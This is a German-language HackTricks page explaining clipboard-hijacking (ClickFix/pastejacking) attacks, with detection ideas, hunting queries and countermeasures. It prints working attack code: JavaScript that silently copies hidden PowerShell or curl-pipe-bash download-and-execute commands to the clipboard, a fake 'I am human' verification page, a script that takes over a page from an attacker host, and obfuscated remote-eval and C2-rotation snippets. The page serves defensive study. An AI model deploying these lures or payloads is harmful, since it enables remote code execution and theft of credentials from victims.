Clipboard Hijacking (Pastejacking) Attacks

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

“FĂŒge niemals etwas ein, das du nicht selbst kopiert hast.” – alt, aber immer noch gĂŒltiger Rat

Überblick

Clipboard hijacking – auch bekannt als pastejacking – nutzt aus, dass Benutzer routinemĂ€ĂŸig Befehle kopieren und einfĂŒgen, ohne sie zu prĂŒfen. Eine bösartige Webseite (oder jeder JavaScript-fĂ€hige Kontext wie eine Electron- oder Desktop-Anwendung) legt programmatisch von Angreifern kontrollierten Text in die Systemzwischenablage. Opfer werden in der Regel durch sorgfĂ€ltig gestaltete Social-Engineering-Anweisungen dazu gebracht, Win + R (Run-Dialog), Win + X (Quick Access / PowerShell) zu drĂŒcken oder ein Terminal zu öffnen und den Inhalt der Zwischenablage einzufĂŒgen, wodurch sofort beliebige Befehle ausgefĂŒhrt werden.

Da keine Datei heruntergeladen und kein Anhang geöffnet wird, umgeht die Technik die meisten E-Mail- und Web-Content-Sicherheitskontrollen, die AnhĂ€nge, Makros oder direkte BefehlsausfĂŒhrung ĂŒberwachen. Der Angriff ist daher beliebt in Phishing-Kampagnen, die Commodity-Malware-Familien wie NetSupport RAT, Latrodectus loader oder Lumma Stealer ausliefern.

Erzwungene Copy-Buttons und versteckte Payloads (macOS one-liners)

Einige macOS infostealers klonen Installer-Seiten (z. B. Homebrew) und erzwingen die Verwendung eines „Copy“-Buttons, sodass Benutzer nicht nur den sichtbaren Text markieren können. Der Zwischenablageeintrag enthĂ€lt den erwarteten Installer-Befehl plus eine angehĂ€ngte Base64-Payload (z. B. ...; echo <b64> | base64 -d | sh), sodass ein einziges EinfĂŒgen beides ausfĂŒhrt, wĂ€hrend die UI die zusĂ€tzliche Stufe verbirgt.

JavaScript Proof-of-Concept

<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press  Win+R , paste and hit Enter to fix the problem.'));
}
</script>

Ältere Kampagnen verwendeten document.execCommand('copy'), neuere verlassen sich auf die asynchrone Clipboard API (navigator.clipboard.writeText).

Der ClickFix / ClearFake Ablauf

  1. Ein Nutzer besucht eine typosquatted oder kompromittierte Website (z. B. docusign.sa[.]com)
  2. Injiziertes ClearFake JavaScript ruft eine Hilfsfunktion unsecuredCopyToClipboard() auf, die heimlich einen Base64-codierten PowerShell-One-Liner in die Zwischenablage speichert.
  3. HTML-Anweisungen weisen das Opfer an: “DrĂŒcken Sie Win + R, fĂŒgen Sie den Befehl ein und drĂŒcken Sie Enter, um das Problem zu beheben.”
  4. powershell.exe wird ausgefĂŒhrt und lĂ€dt ein Archiv herunter, das eine legitime ausfĂŒhrbare Datei sowie eine bösartige DLL enthĂ€lt (klassisches DLL sideloading).
  5. Der Loader entschlĂŒsselt zusĂ€tzliche Stufen, injiziert Shellcode und installiert Persistenz (z. B. geplante Aufgabe) – und fĂŒhrt letztlich NetSupport RAT / Latrodectus / Lumma Stealer aus.

Beispiel NetSupport RAT-Chain

powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe             # Sideloads msvcp140.dll
  • jp2launcher.exe (legitimes Java WebStart) durchsucht sein Verzeichnis nach msvcp140.dll.
  • Die bösartige DLL löst APIs dynamisch mit GetProcAddress auf, lĂ€dt zwei Binaries (data_3.bin, data_4.bin) ĂŒber curl.exe herunter, entschlĂŒsselt sie mit einem rollierenden XOR-SchlĂŒssel “https://google.com/”, injiziert den finalen shellcode und entpackt client32.exe (NetSupport RAT) nach C:\ProgramData\SecurityCheck_v1\.

Latrodectus Loader

powershell -nop -enc <Base64>  # Cloud Identificator: 2031
  1. LĂ€dt la.txt mit curl.exe
  2. FĂŒhrt den JScript downloader innerhalb von cscript.exe aus
  3. Ruft eine MSI-Payload ab → legt libcef.dll neben einer signierten Anwendung ab → DLL sideloading → shellcode → Latrodectus.

Lumma Stealer ĂŒber MSHTA

mshta https://iplogger.co/xxxx =+\\xxx

Die mshta-Aufruf startet ein verborgenes PowerShell-Skript, das PartyContinued.exe abruft, Boat.pst (CAB) extrahiert, AutoIt3.exe ĂŒber extrac32 und Dateikonkatentation rekonstruiert und schließlich ein .a3x-Skript ausfĂŒhrt, das Browser-Zugangsdaten an sumeriavgv.digital exfiltriert.

ClickFix: Clipboard → PowerShell → JS eval → Startup LNK mit rotierendem C2 (PureHVNC)

Einige ClickFix-Kampagnen ĂŒberspringen Dateidownloads vollstĂ€ndig und instruieren Opfer, einen Einzeiler einzufĂŒgen, der JavaScript ĂŒber WSH abruft und ausfĂŒhrt, sich persistent macht und den C2 tĂ€glich rotiert. Beobachtete Beispielkette:

powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" PrДss EntДr

Hauptmerkmale

  • Verschleierte URL wird zur Laufzeit umgedreht, um eine oberflĂ€chliche Inspektion zu vereiteln.
  • JavaScript sorgt fĂŒr Persistenz ĂŒber eine Startup LNK (WScript/CScript) und wĂ€hlt den C2 basierend auf dem aktuellen Tag – ermöglicht schnelle Domain-Rotation.

Minimaler JS-Ausschnitt, der verwendet wird, um C2s nach Datum zu wechseln:

function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}

Die nÀchste Stufe setzt hÀufig einen Loader ein, der Persistenz herstellt und einen RAT (z. B. PureHVNC) nachlÀdt, oft dabei TLS an ein hardcodiertes Zertifikat pinned und den Traffic chunked.

Detection ideas specific to this variant

  • Prozessbaum: explorer.exe → powershell.exe -c → wscript.exe <temp>\a.js (oder cscript.exe).
  • Autostart‑Artefakte: LNK in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup invoking WScript/CScript mit einem JS‑Pfad unter %TEMP%/%APPDATA%.
  • Registry/RunMRU und Kommandozeilen‑Telemetrie, die .split('').reverse().join('') oder eval(a.responseText) enthĂ€lt.
  • Wiederholt powershell -NoProfile -NonInteractive -Command - mit großen stdin‑Payloads, um lange Skripte ohne lange Kommandozeilen einzuspeisen.
  • Geplante Tasks, die anschließend LOLBins wie regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll" unter einem updater‑artigen Task/Pfad (z. B. \GoogleSystem\GoogleUpdater) ausfĂŒhren.

Threat hunting

  • TĂ€glich rotierende C2‑Hostnames und URLs mit .../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>-Pattern.
  • Korrelation von clipboard write events, gefolgt von Win+R paste und anschließend sofortiger powershell.exe-AusfĂŒhrung.

Blue‑teams können Clipboard-, Prozess‑Erstellungs‑ und Registry‑Telemetrie kombinieren, um Pastejacking‑Missbrauch zu lokalisieren:

  • Windows Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU behĂ€lt eine Historie von Win + R-Befehlen – prĂŒfen Sie ungewöhnliche Base64-/obfuskierte EintrĂ€ge.
  • Security Event ID 4688 (Process Creation), wo ParentImage == explorer.exe und NewProcessName in { powershell.exe, wscript.exe, mshta.exe, curl.exe, cmd.exe }.
  • Event ID 4663 fĂŒr Datei‑Erstellungen unter %LocalAppData%\Microsoft\Windows\WinX\ oder temporĂ€ren Ordnern kurz vor dem verdĂ€chtigen 4688‑Event.
  • EDR clipboard sensors (falls vorhanden) – korrelieren Sie Clipboard Write, gefolgt unmittelbar von einem neuen PowerShell‑Prozess.

IUAM-style verification pages (ClickFix Generator): clipboard copy-to-console + OS-aware payloads

Aktuelle Kampagnen massenproduzieren gefĂ€lschte CDN/Browser‑Verifizierungsseiten (“Just a moment
”, IUAM‑style), die Benutzer dazu zwingen, OS‑spezifische Befehle aus ihrer clipboard in native Konsolen zu kopieren. Dadurch wird die AusfĂŒhrung aus der Browser‑Sandbox heraus verlagert und funktioniert sowohl unter Windows als auch macOS.

Key traits of the builder-generated pages

  • OS‑Erkennung via navigator.userAgent, um Payloads anzupassen (Windows PowerShell/CMD vs. macOS Terminal). Optionale Decoys/No‑Ops fĂŒr nicht unterstĂŒtzte OS, um die Illusion aufrechtzuerhalten.
  • Automatisches clipboard‑copy bei harmlosen UI‑Aktionen (Checkbox/Copy), wĂ€hrend der sichtbare Text vom clipboard‑Inhalt abweichen kann.
  • Mobile blocking und ein Popover mit Schritt‑fĂŒr‑Schritt‑Anweisungen: Windows → Win+R→paste→Enter; macOS → open Terminal→paste→Enter.
  • Optionale Obfuskation und Single‑File‑Injector, um das DOM einer kompromittierten Site mit einer Tailwind‑gestylten Verifizierungs‑UI zu ĂŒberschreiben (keine neue Domain‑Registrierung erforderlich).

Example: clipboard mismatch + OS-aware branching

<div class="space-y-2">
<label class="inline-flex items-center space-x-2">
<input id="chk" type="checkbox" class="accent-blue-600"> <span>I am human</span>
</label>
<div id="tip" class="text-xs text-gray-500">If the copy fails, click the checkbox again.</div>
</div>
<script>
const ua = navigator.userAgent;
const isWin = ua.includes('Windows');
const isMac = /Mac|Macintosh|Mac OS X/.test(ua);
const psWin = `powershell -nop -w hidden -c "iwr -useb https://example[.]com/cv.bat|iex"`;
const shMac = `nohup bash -lc 'curl -fsSL https://example[.]com/p | base64 -d | bash' >/dev/null 2>&1 &`;
const shown = 'copy this: echo ok';            // benign-looking string on screen
const real = isWin ? psWin : (isMac ? shMac : 'echo ok');

function copyReal() {
// UI shows a harmless string, but clipboard gets the real command
navigator.clipboard.writeText(real).then(()=>{
document.getElementById('tip').textContent = 'Now press Win+R (or open Terminal on macOS), paste and hit Enter.';
});
}

document.getElementById('chk').addEventListener('click', copyReal);
</script>

macOS-Persistenz beim initialen Start

  • Verwende nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 &, damit die AusfĂŒhrung nach dem Schließen des Terminals fortgesetzt wird und sichtbare Artefakte reduziert werden.

In-place page takeover auf kompromittierten Seiten

<script>
(async () => {
const html = await (await fetch('https://attacker[.]tld/clickfix.html')).text();
document.documentElement.innerHTML = html;                 // overwrite DOM
const s = document.createElement('script');
s.src = 'https://cdn.tailwindcss.com';                     // apply Tailwind styles
document.head.appendChild(s);
})();
</script>

Erkennungs- & hunting-Ideen speziell fĂŒr IUAM‑artige Köder

  • Web: Seiten, die die Clipboard API an Verifizierungs-Widgets binden; Abweichung zwischen angezeigtem Text und Clipboard-Payload; navigator.userAgent-Branching; Tailwind + single-page replace in verdĂ€chtigen Kontexten.
  • Windows-Endpoint: explorer.exe → powershell.exe/cmd.exe kurz nach einer Browser-Interaktion; batch/MSI-Installer, ausgefĂŒhrt aus %TEMP%.
  • macOS-Endpoint: Terminal/iTerm startet bash/curl/base64 -d mit nohup in zeitlichem Zusammenhang mit Browser-Ereignissen; Hintergrundprozesse, die das Schließen des Terminals ĂŒberdauern.
  • Korrelation von RunMRU (Win+R)-Historie und Clipboard-Writes mit anschließender Erstellung von Console-Prozessen.

Siehe auch unterstĂŒtzende Techniken

Clone a Website

Homograph Attacks

Gegenmaßnahmen

  1. Browser-HĂ€rtung – Zwischenablage-Schreibzugriff deaktivieren (dom.events.asyncClipboard.clipboardItem etc.) oder eine Benutzeraktion erforderlich machen.
  2. Sicherheitsbewusstsein – Nutzer darin schulen, sensible Befehle zu tippen oder sie zuerst in einen Texteditor einzufĂŒgen.
  3. PowerShell Constrained Language Mode / Execution Policy + Application Control, um beliebige One-Liner zu blockieren.
  4. Netzwerk-Kontrollen – ausgehende Anfragen zu bekannten pastejacking- und Malware-C2-Domains blockieren.

Verwandte Tricks

  • Discord Invite Hijacking missbraucht oft denselben ClickFix-Ansatz, nachdem Benutzer in einen bösartigen Server gelockt wurden:

Discord Invite Hijacking

Referenzen

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks